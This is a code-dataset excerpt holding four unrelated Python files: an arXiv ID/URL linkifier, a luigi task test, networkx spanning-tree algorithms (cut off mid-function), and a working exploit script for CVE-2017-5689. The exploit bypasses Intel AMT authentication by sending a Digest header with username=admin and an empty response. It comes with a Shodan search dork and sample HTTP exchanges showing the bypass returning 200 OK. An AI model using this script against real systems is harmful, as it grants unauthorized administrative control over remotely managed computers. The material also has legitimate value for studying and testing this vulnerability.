+{"seq_id":"549844800","text":"r\"\"\"Patterns and functions to detect arXiv ids and Urls in text.\n\nFunctions to detech arXiv ids, URLs and DOI in text.\nFunctions to transform them to <a> tags.\n\nThese were originally jinja filters but became a little too big\nfor that so they were split out and made more general so they didn't\nrely on the Flask context.\n\nThese all use expect input of Markup or non-markup text and return\nMarkup objects. This is because the <a> that get added need to avoid\ndouble escaping.\n\nThere are several classes of patterns we want to match but there is\nsome overlap in these patterns. To avoid looking for and parsing HTML in each\njinja filter, detecting these patterns is combined.\n\nSo far we are looking for:\nDOIs            DOI: 10.1145/0001234.1234567\narXiv IDS:      1234.12345 1234.12345v1 hep-ph1307.1843\nHTTP URLs:      http://something.org/myPaper/1234.12345\nFTP URLs:       ftp://example.com/files/1234.12345\n\nJust matching for arXiv ids with \\d{4}\\.\\d{4,5} will match several of\nthese. To deal with this we are priortizing the matches and\ninterupting once one is found.\n\nWe should probably match DOIs first because they are the source of a\nlot of false positives for arxiv matches.\n\"\"\"\nfrom typing import Optional, List, Pattern, Match, Tuple, Callable\nimport re\nfrom dataclasses import dataclass\n\nfrom urllib.parse import quote\nfrom jinja2 import Markup, escape\n\nfrom arxiv import taxonomy\n\n\n@dataclass\nclass Matchable:\n    \"\"\"Class for paterns.\"\"\"\n\n    examples: List[str]\n    pattern: Pattern\n\n\ndef _identity(x: str)->str:\n    \"\"\"Identity funciton for default in some places.\"\"\"\n    return x\n\n\ndoi_patterns = [\n    Matchable(['10.1145/0001234.1234567'],\n              re.compile(r'(?P<doi>10.\\d{4,9}/[-._;()/:A-Z0-9]+)', re.I))\n]\n\"\"\"List of Matchable for DOIs in text.\n\nWe should probably match DOIs first because they are the source of a\nlot of false positives for arxiv matches.\n\nOnly using the most general express from\nhttps://www.crossref.org/blog/dois-and-matching-regular-expressions/\n\"\"\"\n\n_archive = '|'.join([re.escape(key) for key in taxonomy.ARCHIVES.keys()])\n\"\"\"string for use in Regex for all arXiv archives\"\"\"\n\n_category = '|'.join([re.escape(key) for key in taxonomy.CATEGORIES.keys()])\n\n_arxiv_id_prefix = r'(?P<arxiv_prefix>ar[xX]iv:)?'\n\"\"\"Attempt to catch the arxiv prefix in front of arxiv ids so it can be\nincluded in the <a> tag anchor. ARXIVNG-1284\"\"\"\n\nbasic_arxiv_id_patterns = [\n    Matchable(['math/0501233', 'hep-ph/0611734', 'gr-qc/0112123'],\n              re.compile(_arxiv_id_prefix + r'(?P<arxiv_id>(%s)\\/\\d{2}[01]\\d{4}(v\\d*)?)'\n                         % _archive, re.I)),\n    Matchable(['1609.05068', '1207.1234v1', '1207.1234', '1807.12345',\n               '1807.12345v1', '1807.12345v12'],\n              re.compile(r'(?<![\\d=])' + _arxiv_id_prefix + r'(?P<arxiv_id>\\d{4}\\.\\d{4,5}(v\\d*)?)',\n                         re.I)),\n    Matchable(['math.GR/0601136v3', 'math.GR/0601136'],\n              re.compile(_arxiv_id_prefix + r'(?P<arxiv_id>(%s)\\/\\d{2}[01]\\d{4}(v\\d*)?)'\n                         % _category, re.I))\n]\n\nOKCHARS = r'([a-z0-9,_.\\-+~:]|%[a-f0-9]*)'\n\"\"\"Chacters that are acceptable during PATH, QUERY and ANCHOR parts\"\"\"\n\nHOST_NAME = r'(?:[a-z0-9][a-z0-9\\-.:]+[a-z0-9])'\n\"\"\"Regex used to match host names in arXiv urlize.\n\nThis is not a perfect regex for a host name, It accepts only a sub-set\nof hostnames to meet the needs of arxiv.\n\nHOST_NAME must end with a simplified character to avoid capturing a\nperiod.\n\"\"\"\n\nPATH = rf'(?P<PATH>(/{OKCHARS}*)+)?'\n\"\"\"Regex for path part of URLs for use in urlize\"\"\"\n\nQUERY = rf'(?P<QUERY>\\?(&?({OKCHARS}*(={OKCHARS}*)?))*)?'\n\"\"\"Regex for query part of URLs for use in urlize\"\"\"\n\nANCHOR = rf'(?P<ANCHOR>#({OKCHARS}|/)*)?'\n\"\"\"Regex for anchor part of URLs for use in urlize\"\"\"\n\nURLINTEXT_PAT = re.compile(r'(?P<url>(?:https?://)'\n                           f'{HOST_NAME}{PATH}{QUERY}{ANCHOR})',\n                           re.I)\n\"\"\"Regex to match URLs in text.\"\"\"\n\nFTP_PAT = re.compile(rf'(?P<url>(?:ftp://)({OKCHARS}|(@))*{PATH})', re.I)\n\"\"\"Regex to match FTP URLs in text.\"\"\"\n\nbasic_url_patterns = [\n    Matchable(['http://something.com/bla'], URLINTEXT_PAT),\n    Matchable(['ftp://something.com/bla'], FTP_PAT)\n]\n\"\"\"List of Matchable to use when finding URLs in text\"\"\"\n\nbad_arxiv_id_patterns = [\n    re.compile('vixra', re.I),  # don't need to link to vixra\n]\n\"\"\"List of Regex patterns that will cause matching to be skipped for\nthe token.\"\"\"\n\ndois_ids_and_urls = basic_url_patterns + doi_patterns + basic_arxiv_id_patterns\n\"\"\"List of Matchable to use when finding DOIs, arXiv IDs, and URLs.\n\nURLs are first because some URLs contain DOIs or arXiv IDS.\n\nDOI are before arXiv ids because many DOIs are falsely matched by the\narxiv_id patterns.\n\"\"\"\n\n\n_bad_endings = ['.', ',', ':', ';', '&', '(', '[', '{']\n\"\"\"These should not appear at the end of URLs because they are likely\npart of the surrounding text\"\"\"\n\n\ndef _find_match(patterns: List[Matchable], token: str) \\\n        -> Optional[Tuple[Match, Matchable]]:\n    \"\"\"Find first in patterns that is found in txt.\"\"\"\n    for chgMtch in patterns:\n        if chgMtch.pattern.flags:\n            fnd = re.search(chgMtch.pattern, token)\n        else:\n            fnd = re.search(chgMtch.pattern, token, re.I)\n        if fnd is not None:\n            return (fnd, chgMtch)\n    return None\n\n\ndef _transform_token(patterns: List[Matchable],\n                     bad_patterns: List[Pattern],\n                     id_to_url: Callable[[str], str],\n                     doi_to_url: Callable[[str], str],\n                     url_to_url: Callable[[str], str],\n                     token: str) -> str:\n    \"\"\"\n    Transform a token from text to one of the Matchables.\n\n    This only transforms against the first of Matchable matched.\n    Matching on this token will be skipped if any of the bad_patterns\n    match the token (that is re.search).\n    \"\"\"\n    id_to_url = id_to_url or (lambda x: x)\n    doi_to_url = doi_to_url or (lambda x: x)\n    url_to_url = url_to_url or (lambda x: x)\n\n    for pattern in bad_patterns:\n        if re.search(pattern, token):\n            return token\n\n    mtch = _find_match(patterns, token)\n    if mtch is None:\n        return token\n\n    (match, _) = mtch\n    keys = match.groupdict().keys()\n    if 'arxiv_id' in keys:\n        (front, back) = _arxiv_id_sub(match, id_to_url)\n    elif 'doi' in keys:\n        (front, back) = _doi_sub(match, doi_to_url)\n    elif 'url' in keys:\n        (front, back) = _url_sub(match, url_to_url)\n    else:\n        # unclear how to substitute in for this match\n        return token\n\n    if back:\n        t_back = _transform_token(patterns, bad_patterns,\n                                  id_to_url, doi_to_url, url_to_url, back)\n        return front + Markup(t_back)\n    else:\n        return front\n\n\ndef _arxiv_id_sub(match: Match, id_to_url: Callable[[str], str]) \\\n        -> Tuple[Markup, str]:\n    \"\"\"Return match.string transformed for a arxiv id match.\"\"\"\n    aid = match.group('arxiv_id')\n    prefix = 'arXiv:' if match.group('arxiv_prefix') else ''\n    \n    if aid[-1] in _bad_endings:\n        arxiv_url = id_to_url(aid)[:-1]\n        anchor = aid[:-1]\n        back = aid[-1] + match.string[match.end():]\n    else:\n        arxiv_url = id_to_url(aid)\n        anchor = prefix + aid\n        back = match.string[match.end():]\n\n    front = match.string[0:match.start()]\n    return (Markup(f'{front}<a href=\"{arxiv_url}\">{anchor}</a>'), back)\n\n\ndef _doi_sub(match: Match, doi_to_url: Callable[[str], str]) \\\n        ->Tuple[Markup, str]:\n    \"\"\"Return match.string transformed for a DOI match.\"\"\"\n    doi = match.group('doi')\n    if(doi[-1] in _bad_endings):\n        back = match.string[match.end():] + doi[-1]\n        doi = doi[:-1]\n    else:\n        back = match.string[match.end():]\n\n    quoted_doi = quote(doi, safe='/')\n    doi_url = f'https://dx.doi.org/{quoted_doi}'\n    doi_url = doi_to_url(doi_url)\n\n    anchor = escape(doi)\n    front = match.string[0:match.start()]\n    return (Markup(f'{front}<a href=\"{doi_url}\">{anchor}</a>'), back)\n\n\ndef _url_sub(match: Match, url_to_url: Callable[[str], str]) \\\n        ->Tuple[Markup, str]:\n    \"\"\"Return match.string transformed for a URL match.\"\"\"\n    url = match.group('url')\n    if url.startswith('https'):\n        anchor = 'this https URL'\n    elif url.startswith('http'):\n        anchor = 'this http URL'\n    elif url.startswith('ftp'):\n        anchor = 'this ftp URL'\n    else:\n        anchor = 'this URL'\n\n    front = match.string[0:match.start()]\n    if url[-1] in _bad_endings:\n        back = url[-1] + match.string[match.end():]\n        url = url[:-1]\n    else:\n        back = match.string[match.end():]\n\n    url = url_to_url(url)\n    return (Markup(f'{front}<a href=\"{url}\">{anchor}</a>'), back)\n\n\n_word_split_re = re.compile(r'(\\s+)')\n\"\"\"Regex to split to tokens during _to_tags.\n\nCapturing group causes the splitting spaces to be included\nin the returned list.\n\"\"\"\n\n\ndef _to_tags(patterns: List[Matchable],\n             bad_patterns: List[Pattern],\n             id_to_url: Callable[[str], str],\n             doi_to_url: Callable[[str], str],\n             url_to_url: Callable[[str], str],\n             text: str)-> str:\n    \"\"\"Split text to tokens, do _transform_token for each, return results.\"\"\"\n    def transform_token(tkn: str)-> str:\n        return _transform_token(patterns, bad_patterns,\n                                id_to_url, doi_to_url, url_to_url,\n                                tkn)\n\n    if not hasattr(text, '__html__'):\n        text = Markup(escape(text))\n\n    words = _word_split_re.split(text)\n    for i, token in enumerate(words):\n        token_2 = transform_token(token)\n        if token_2 != token:\n            words[i] = token_2\n    result = u''.join(words)\n    return Markup(result)\n\n\ndef do_id_to_tags(id_to_url: Callable[[str], str],\n                  text: str)-> str:\n    \"\"\"Transform arxiv ids in text to <a> tags.\"\"\"\n    return _to_tags(basic_arxiv_id_patterns,\n                    bad_arxiv_id_patterns,\n                    id_to_url, _identity, _identity,\n                    text)\n\n\ndef do_dois_id_urls_to_tags(id_to_url: Callable[[str], str],\n                            doi_to_url: Callable[[str], str],\n                            text: str)-> str:\n    \"\"\"Transform DOIs, arxiv ids and URLs in text to <a> tags.\"\"\"\n    return _to_tags(dois_ids_and_urls,\n                    bad_arxiv_id_patterns,\n                    id_to_url, doi_to_url, _identity,\n                    text)\n\n\ndef do_dois_to_tags(doi_to_url: Callable[[str], str], text: str)->str:\n    \"\"\"Transform DOIs in text to <a> tags.\"\"\"\n    return _to_tags(doi_patterns, [], _identity, doi_to_url, _identity, text)\n\n\ndef do_dois_arxiv_ids_to_tags(id_to_url: Callable[[str], str],\n                              doi_to_url: Callable[[str], str],\n                              text: str)->str:\n    \"\"\"Transform DOIs and arXiv IDs to <a> tags.\"\"\"\n    return _to_tags(doi_patterns + basic_arxiv_id_patterns,\n                    bad_arxiv_id_patterns,\n                    id_to_url, doi_to_url, _identity,\n                    text)\n","sub_path":"browse/util/id_patterns.py","file_name":"id_patterns.py","file_ext":"py","file_size_in_byte":11074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"354198725","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# Author: Nixawk\n\n#   CVE-2017-5689 = {\n#       dork=\"Server: Intel(R) Active Management Technology\" port:\"16992\",\n#       ports=[\n#           623,\n#           664,\n#           16992,\n#           16993,\n#           16994,\n#           16995\n#       ]\n#       products=[\n#           Active Management Technology (AMT),\n#           Intel Standard Manageability (ISM),\n#           Intel Small Business Technology (SBT)\n#       ]\n#       version=[\n#           6.x,\n#           7.x,\n#           8.x,\n#           9.x,\n#           10.x,\n#           11.0,\n#           11.5,\n#           11.6\n#       ]\n\nimport functools\nimport requests\nimport logging\n\n\nlogging.basicConfig(level=logging.INFO, format=\"%(message)s\")\nlog = logging.getLogger(__file__)\n\n\ndef handle_exception(func):\n    functools.wraps(func)\n    def wrapper(*args, **kwds):\n        try:\n            return func(*args, **kwds)\n        except Exception as err:\n            log.error(err)\n            return False\n    return wrapper\n\n\ndef intel_vulnerable_product(server):\n    status = False\n    products = [\n        'Intel(R) Active Management Technology',\n        'Intel(R) Standard Manageability',\n        'Intel(R) Small Business Technology'\n    ]\n\n    results = map(lambda x: x in server, products)\n    status = True if (True in results) else False\n    return status\n\n\n@handle_exception\ndef exploit(url):\n    status = False\n\n    headers = {\"User-Agent\": \"Mozilla/5.0\"}\n    httprsp = requests.get(url, headers=headers)\n\n    if not intel_vulnerable_product(httprsp.headers['Server']): return status\n\n    \"\"\"\n    GET /index.htm HTTP/1.1\n    Host: 192.168.1.100:16992\n    Connection: keep-alive\n    Accept-Encoding: gzip, deflate\n    Accept: */*\n    User-Agent: Mozilla/5.0\n\n    HTTP/1.1 401 Unauthorized\n    WWW-Authenticate: Digest realm=\"Digest:7BA70000000000000000000000000000\", nonce=\"/tsfAAYGAADdx+TCLSlXsW7FN7GY/hf7\",stale=\"false\",qop=\"auth\"\n    Content-Type: text/html\n    Server: Intel(R) Active Management Technology 8.1.40\n    Content-Length: 689\n    Connection: close\n    \"\"\"\n\n    www_authenticate = httprsp.headers.get('WWW-Authenticate')\n    www_authenticate = www_authenticate.replace(\n        'stale=\"false\"',\n        'username=admin,response=,uri=/index.htm,nc=00000001,cnonce=60513ab58858482c'\n    )\n    print(www_authenticate)\n    headers.update({\"Authorization\": www_authenticate})\n\n    httprsp = requests.get(url, headers=headers)\n\n    if not httprsp: return status\n    if not httprsp.headers: return status\n    if not intel_vulnerable_product(httprsp.headers['Server']): return status\n    if httprsp.status_code == 200: status = True\n\n    \"\"\"\n    GET /index.htm HTTP/1.1\n    Host: 192.168.1.100:16992\n    Connection: keep-alive\n    Accept-Encoding: gzip, deflate\n    Accept: */*\n    User-Agent: python-requests/2.13.0\n    Authorization: Digest realm=\"Digest:7BA70000000000000000000000000000\", nonce=\"/tsfAAYGAADdx+TCLSlXsW7FN7GY/hf7\",username=admin,response=,uri=/index.htm,nc=00000001,cnonce=60513ab58858482c,qop=\"auth\"\n\n    HTTP/1.1 200 OK\n    Date: Sat, 6 May 2017 03:24:33 GMT\n    Server: Intel(R) Active Management Technology 8.1.40\n    Content-Type: text/html\n    Transfer-Encoding: chunked\n    Cache-Control: no cache\n    Expires: Thu, 26 Oct 1995 00:00:00 GMT\n\n    04A9\n    \"\"\"\n    return status\n\n\nif __name__ == \"__main__\":\n    import sys\n    if len(sys.argv) != 2:\n        log.info(\"[+] Usage: python {} <http:.//192.168.1.100:16992/index.htm>\".format(sys.argv[0]))\n        sys.exit(1)\n\n    url = sys.argv[1]\n    if exploit(url):\n        log.info(\"[success] CVE-2017-5689 - {}\".format(url))\n    else:\n        log.info(\"[failed]  CVE-2017-5689 - {}\".format(url))\n\n## References\n\n# http://thehackernews.com/2017/05/intel-amt-vulnerability.html\n# https://www.ssh.com/vulnerability/intel-amt/\n# https://www.shodan.io/report/mnAozbpC\n# https://www.embedi.com/files/white-papers/Silent-Bob-is-Silent.pdf\n# https://www.tenable.com/blog/rediscovering-the-intel-amt-vulnerability\n\n","sub_path":"CVE-2017-5689/CVE-2017-5689.py","file_name":"CVE-2017-5689.py","file_ext":"py","file_size_in_byte":3998,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"38038490","text":"import shutil\nimport time\nimport unittest\nfrom datetime import datetime\n\nimport luigi\nfrom luigi import Parameter, Config\n\nfrom src.lib.base.dependency_logger_base_task import DependencyLoggerBaseTask\nfrom src.lib.base.json_pickle_parameter import JsonPickleParameter\n\nTestBaseTask = DependencyLoggerBaseTask\n\n\nclass TestTask1(TestBaseTask):\n    def register_required(self):\n        self.task2 = self.register_dependency(TestTask2())\n\n    def run_task(self):\n        self.logger.info(\"RUN\")\n        self.logger.info(f\"task2 list_outputs {self.task2.list_outputs()}\")\n        self.logger.info(f\"task2 {self.task2.get_output()}\")\n        tasks_3 = yield from self.run_dependencies({\n            \"1\": TestTask3(input_param=\"e\"),\n            \"2\": TestTask3(input_param=\"d\"),\n        })\n        self.logger.info(f\"\"\"task3_1 {tasks_3[\"1\"].get_output(\"output\")}\"\"\")\n        self.logger.info(f\"\"\"task3_2 {tasks_3[\"2\"].get_output(\"output\")}\"\"\")\n\n\nclass TestTask2(TestBaseTask):\n\n    def run_task(self):\n        self.logger.info(\"RUN\")\n        self.return_object([1, 2, 3, 4])\n\n\nclass TestTask3(TestBaseTask):\n    input_param = Parameter()\n\n    def run_task(self):\n        self.logger.info(f\"RUN {self.input_param}\")\n        self.return_object(name=\"output\", object=[\"a\", \"b\", self.input_param])\n\n\nclass TestTask4(TestBaseTask):\n\n    def run_task(self):\n        yield from self.run_dependencies([\n            TestTask5(),\n            TestTask6()])\n\n\nclass TestTask5(TestBaseTask):\n\n    def run_task(self):\n        raise Exception()\n\n\nclass TestTask6(TestBaseTask):\n\n    def run_task(self):\n        pass\n\n\nclass TestParameter(Config):\n    test_parameter = Parameter()\n\n\nclass TestTask7(TestBaseTask, TestParameter):\n\n    def register_required(self):\n        task8 = self.create_child_task_with_common_params(TestTask8, new_parameter=\"new\")\n        self.task8_future = self.register_dependency(task8)\n\n    def run_task(self):\n        pass\n\n\nclass TestTask8(TestBaseTask, TestParameter):\n    new_parameter = Parameter()\n\n    def run_task(self):\n        pass\n\n\nclass Data:\n    def __init__(self, a1: int, a2: str):\n        self.a2 = a2\n        self.a1 = a1\n\n    def __repr__(self):\n        return str(self.__dict__)\n\n\nclass Data1:\n    pass\n\n\nclass TestTask9(TestBaseTask):\n\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n    def register_required(self):\n        inputs = [Data(i, f\"{i}\") for i in range(10)]\n        tasks = [TestTask10(parameter_1=input) for input in inputs]\n        self.register_dependencies(tasks)\n\n    def run_task(self):\n        yield from self.run_dependencies(TestTask10(parameter_1=Data1()))\n\n\nclass TestTask10(TestBaseTask):\n    parameter_1 = JsonPickleParameter(Data)\n\n    def run_task(self):\n        time.sleep(1)\n        print(self.parameter_1)\n\nclass TestTask11(TestBaseTask):\n\n    def register_required(self):\n        task12_1 = self.create_child_task_with_common_params(TestTask12,p=\"1\")\n        task12_2 = self.create_child_task_with_common_params(TestTask12,p=\"2\")\n        self.task12_1_future = self.register_dependency(task12_1)\n        self.task12_2_future = self.register_dependency(task12_2)\n\n    def run_task(self):\n        pass\n\nclass TestTask12(TestBaseTask):\n    p = Parameter()\n\n    def run_task(self):\n        raise Exception(\"%s\"%self.task_id)\n\nclass BaseTaskTest(unittest.TestCase):\n\n    def set_job_id(self, task_cls):\n        strftime = datetime.now().strftime('%Y_%m_%d_%H_%M_%S')\n        job_id = f\"{strftime}_{task_cls.__name__}\"\n        config = luigi.configuration.get_config()\n        config.set('job_config', 'job_id', job_id)\n        # config.reload()\n\n    def test_dependency_creation(self):\n        self.set_job_id(TestTask1)\n        task = TestTask1()\n        luigi.build([task], workers=1, local_scheduler=True, log_level=\"INFO\")\n        if task._get_tmp_path_for_job().exists():\n            shutil.rmtree(str(task._get_tmp_path_for_job()))\n\n    def test_failing_task(self):\n        self.set_job_id(TestTask4)\n        task = TestTask4()\n        luigi.build([task], workers=1, local_scheduler=True, log_level=\"INFO\")\n        if task._get_tmp_path_for_job().exists():\n            shutil.rmtree(str(task._get_tmp_path_for_job()))\n\n    def test_common_parameter(self):\n        self.set_job_id(TestTask7)\n        task = TestTask7(test_parameter=\"input\")\n        luigi.build([task], workers=1, local_scheduler=True, log_level=\"INFO\")\n        if task._get_tmp_path_for_job().exists():\n            shutil.rmtree(str(task._get_tmp_path_for_job()))\n\n    def test_json_pickle_parameter(self):\n        self.set_job_id(TestTask9)\n        task = TestTask9()\n        try:\n            luigi.build([task], workers=3, local_scheduler=True, log_level=\"INFO\")\n        except Exception as e:\n            print(e)\n        if task._get_tmp_path_for_job().exists():\n            shutil.rmtree(str(task._get_tmp_path_for_job()))\n\n    def test_collect_failures(self):\n        self.set_job_id(TestTask11)\n        task = TestTask11()\n        try:\n            luigi.build([task], workers=3, local_scheduler=True, log_level=\"INFO\")\n            failures = task.collect_failures()\n            print()\n            for failure in failures:\n                print(failure)\n                print()\n            print()\n            self.assertEquals(len(failures),2)\n        except Exception as e:\n            print(e)\n        if task._get_tmp_path_for_job().exists():\n            shutil.rmtree(str(task._get_tmp_path_for_job()))\n\n\n\n\nif __name__ == '__main__':\n    unittest.main()\n","sub_path":"src/test/test_base_task.py","file_name":"test_base_task.py","file_ext":"py","file_size_in_byte":5525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"72757168","text":"\"\"\"\nAlgorithms for calculating min/max spanning trees/forests.\n\n\"\"\"\nfrom dataclasses import dataclass, field\nfrom enum import Enum\nfrom heapq import heappop, heappush\nfrom operator import itemgetter\nfrom itertools import count\nfrom math import isnan\nfrom queue import PriorityQueue\n\nimport networkx as nx\nfrom networkx.utils import UnionFind, not_implemented_for\n\n__all__ = [\n    \"minimum_spanning_edges\",\n    \"maximum_spanning_edges\",\n    \"minimum_spanning_tree\",\n    \"maximum_spanning_tree\",\n    \"partition_spanning_tree\",\n    \"EdgePartition\",\n    \"SpanningTreeIterator\",\n]\n\n\nclass EdgePartition(Enum):\n    \"\"\"\n    An enum to store the state of an edge partition. The enum is written to the\n    edges of a graph before being pasted to `kruskal_mst_edges`. Options are:\n\n    - EdgePartition.OPEN\n    - EdgePartition.INCLUDED\n    - EdgePartition.EXCLUDED\n    \"\"\"\n\n    OPEN = 0\n    INCLUDED = 1\n    EXCLUDED = 2\n\n\n@not_implemented_for(\"multigraph\")\ndef boruvka_mst_edges(\n    G, minimum=True, weight=\"weight\", keys=False, data=True, ignore_nan=False\n):\n    \"\"\"Iterate over edges of a Borůvka's algorithm min/max spanning tree.\n\n    Parameters\n    ----------\n    G : NetworkX Graph\n        The edges of `G` must have distinct weights,\n        otherwise the edges may not form a tree.\n\n    minimum : bool (default: True)\n        Find the minimum (True) or maximum (False) spanning tree.\n\n    weight : string (default: 'weight')\n        The name of the edge attribute holding the edge weights.\n\n    keys : bool (default: True)\n        This argument is ignored since this function is not\n        implemented for multigraphs; it exists only for consistency\n        with the other minimum spanning tree functions.\n\n    data : bool (default: True)\n        Flag for whether to yield edge attribute dicts.\n        If True, yield edges `(u, v, d)`, where `d` is the attribute dict.\n        If False, yield edges `(u, v)`.\n\n    ignore_nan : bool (default: False)\n        If a NaN is found as an edge weight normally an exception is raised.\n        If `ignore_nan is True` then that edge is ignored instead.\n\n    \"\"\"\n    # Initialize a forest, assuming initially that it is the discrete\n    # partition of the nodes of the graph.\n    forest = UnionFind(G)\n\n    def best_edge(component):\n        \"\"\"Returns the optimum (minimum or maximum) edge on the edge\n        boundary of the given set of nodes.\n\n        A return value of ``None`` indicates an empty boundary.\n\n        \"\"\"\n        sign = 1 if minimum else -1\n        minwt = float(\"inf\")\n        boundary = None\n        for e in nx.edge_boundary(G, component, data=True):\n            wt = e[-1].get(weight, 1) * sign\n            if isnan(wt):\n                if ignore_nan:\n                    continue\n                msg = f\"NaN found as an edge weight. Edge {e}\"\n                raise ValueError(msg)\n            if wt < minwt:\n                minwt = wt\n                boundary = e\n        return boundary\n\n    # Determine the optimum edge in the edge boundary of each component\n    # in the forest.\n    best_edges = (best_edge(component) for component in forest.to_sets())\n    best_edges = [edge for edge in best_edges if edge is not None]\n    # If each entry was ``None``, that means the graph was disconnected,\n    # so we are done generating the forest.\n    while best_edges:\n        # Determine the optimum edge in the edge boundary of each\n        # component in the forest.\n        #\n        # This must be a sequence, not an iterator. In this list, the\n        # same edge may appear twice, in different orientations (but\n        # that's okay, since a union operation will be called on the\n        # endpoints the first time it is seen, but not the second time).\n        #\n        # Any ``None`` indicates that the edge boundary for that\n        # component was empty, so that part of the forest has been\n        # completed.\n        #\n        # TODO This can be parallelized, both in the outer loop over\n        # each component in the forest and in the computation of the\n        # minimum. (Same goes for the identical lines outside the loop.)\n        best_edges = (best_edge(component) for component in forest.to_sets())\n        best_edges = [edge for edge in best_edges if edge is not None]\n        # Join trees in the forest using the best edges, and yield that\n        # edge, since it is part of the spanning tree.\n        #\n        # TODO This loop can be parallelized, to an extent (the union\n        # operation must be atomic).\n        for u, v, d in best_edges:\n            if forest[u] != forest[v]:\n                if data:\n                    yield u, v, d\n                else:\n                    yield u, v\n                forest.union(u, v)\n\n\ndef kruskal_mst_edges(\n    G, minimum, weight=\"weight\", keys=True, data=True, ignore_nan=False, partition=None\n):\n    \"\"\"\n    Iterate over edge of a Kruskal's algorithm min/max spanning tree.\n\n    Parameters\n    ----------\n    G : NetworkX Graph\n        The graph holding the tree of interest.\n\n    minimum : bool (default: True)\n        Find the minimum (True) or maximum (False) spanning tree.\n\n    weight : string (default: 'weight')\n        The name of the edge attribute holding the edge weights.\n\n    keys : bool (default: True)\n        If `G` is a multigraph, `keys` controls whether edge keys ar yielded.\n        Otherwise `keys` is ignored.\n\n    data : bool (default: True)\n        Flag for whether to yield edge attribute dicts.\n        If True, yield edges `(u, v, d)`, where `d` is the attribute dict.\n        If False, yield edges `(u, v)`.\n\n    ignore_nan : bool (default: False)\n        If a NaN is found as an edge weight normally an exception is raised.\n        If `ignore_nan is True` then that edge is ignored instead.\n\n    partition : string (default: None)\n        The name of the edge attribute holding the partition data, if it exists.\n        Partition data is written to the edges using the `EdgePartition` enum.\n        If a partition exists, all included edges and none of the excluded edges\n        will appear in the final tree. Open edges may or may not be used.\n\n    Yields\n    ------\n    edge tuple\n        The edges as discovered by Kruskal's method. Each edge can\n        take the following forms: `(u, v)`, `(u, v, d)` or `(u, v, k, d)`\n        depending on the `key` and `data` parameters\n    \"\"\"\n    subtrees = UnionFind()\n    if G.is_multigraph():\n        edges = G.edges(keys=True, data=True)\n    else:\n        edges = G.edges(data=True)\n\n    \"\"\"\n    Sort the edges of the graph with respect to the partition data. \n    Edges are returned in the following order:\n\n    * Included edges\n    * Open edges from smallest to largest weight\n    * Excluded edges\n    \"\"\"\n    included_edges = []\n    open_edges = []\n    for e in edges:\n        d = e[-1]\n        wt = d.get(weight, 1)\n        if isnan(wt):\n            if ignore_nan:\n                continue\n            raise ValueError(f\"NaN found as an edge weight. Edge {e}\")\n\n        edge = (wt,) + e\n        if d.get(partition) == EdgePartition.INCLUDED:\n            included_edges.append(edge)\n        elif d.get(partition) == EdgePartition.EXCLUDED:\n            continue\n        else:\n            open_edges.append(edge)\n\n    if minimum:\n        sorted_open_edges = sorted(open_edges, key=itemgetter(0))\n    else:\n        sorted_open_edges = sorted(open_edges, key=itemgetter(0), reverse=True)\n\n    # Condense the lists into one\n    included_edges.extend(sorted_open_edges)\n    sorted_edges = included_edges\n    del open_edges, sorted_open_edges, included_edges\n\n    # Multigraphs need to handle edge keys in addition to edge data.\n    if G.is_multigraph():\n        for wt, u, v, k, d in sorted_edges:\n            if subtrees[u] != subtrees[v]:\n                if keys:\n                    if data:\n                        yield u, v, k, d\n                    else:\n                        yield u, v, k\n                else:\n                    if data:\n                        yield u, v, d\n                    else:\n                        yield u, v\n                subtrees.union(u, v)\n    else:\n        for wt, u, v, d in sorted_edges:\n            if subtrees[u] != subtrees[v]:\n                if data:\n                    yield u, v, d\n                else:\n                    yield u, v\n                subtrees.union(u, v)\n\n\ndef prim_mst_edges(G, minimum, weight=\"weight\", keys=True, data=True, ignore_nan=False):\n    \"\"\"Iterate over edges of Prim's algorithm min/max spanning tree.\n\n    Parameters\n    ----------\n    G : NetworkX Graph\n        The graph holding the tree of interest.\n\n    minimum : bool (default: True)\n        Find the minimum (True) or maximum (False) spanning tree.\n\n    weight : string (default: 'weight')\n        The name of the edge attribute holding the edge weights.\n\n    keys : bool (default: True)\n        If `G` is a multigraph, `keys` controls whether edge keys ar yielded.\n        Otherwise `keys` is ignored.\n\n    data : bool (default: True)\n        Flag for whether to yield edge attribute dicts.\n        If True, yield edges `(u, v, d)`, where `d` is the attribute dict.\n        If False, yield edges `(u, v)`.\n\n    ignore_nan : bool (default: False)\n        If a NaN is found as an edge weight normally an exception is raised.\n        If `ignore_nan is True` then that edge is ignored instead.\n\n    \"\"\"\n    is_multigraph = G.is_multigraph()\n    push = heappush\n    pop = heappop\n\n    nodes = set(G)\n    c = count()\n\n    sign = 1 if minimum else -1\n\n    while nodes:\n        u = nodes.pop()\n        frontier = []\n        visited = {u}\n        if is_multigraph:\n            for v, keydict in G.adj[u].items():\n                for k, d in keydict.items():\n                    wt = d.get(weight, 1) * sign\n                    if isnan(wt):\n                        if ignore_nan:\n                            continue\n                        msg = f\"NaN found as an edge weight. Edge {(u, v, k, d)}\"\n                        raise ValueError(msg)\n                    push(frontier, (wt, next(c), u, v, k, d))\n        else:\n            for v, d in G.adj[u].items():\n                wt = d.get(weight, 1) * sign\n                if isnan(wt):\n                    if ignore_nan:\n                        continue\n                    msg = f\"NaN found as an edge weight. Edge {(u, v, d)}\"\n                    raise ValueError(msg)\n                push(frontier, (wt, next(c), u, v, d))\n        while nodes and frontier:\n            if is_multigraph:\n                W, _, u, v, k, d = pop(frontier)\n            else:\n                W, _, u, v, d = pop(frontier)\n            if v in visited or v not in nodes:\n                continue\n            # Multigraphs need to handle edge keys in addition to edge data.\n            if is_multigraph and keys:\n                if data:\n                    yield u, v, k, d\n                else:\n                    yield u, v, k\n            else:\n                if data:\n                    yield u, v, d\n                else:\n                    yield u, v\n            # update frontier\n            visited.add(v)\n            nodes.discard(v)\n            if is_multigraph:\n                for w, keydict in G.adj[v].items():\n                    if w in visited:\n                        continue\n                    for k2, d2 in keydict.items():\n                        new_weight = d2.get(weight, 1) * sign\n                        push(frontier, (new_weight, next(c), v, w, k2, d2))\n            else:\n                for w, d2 in G.adj[v].items():\n                    if w in visited:\n                        continue\n                    new_weight = d2.get(weight, 1) * sign\n                    push(frontier, 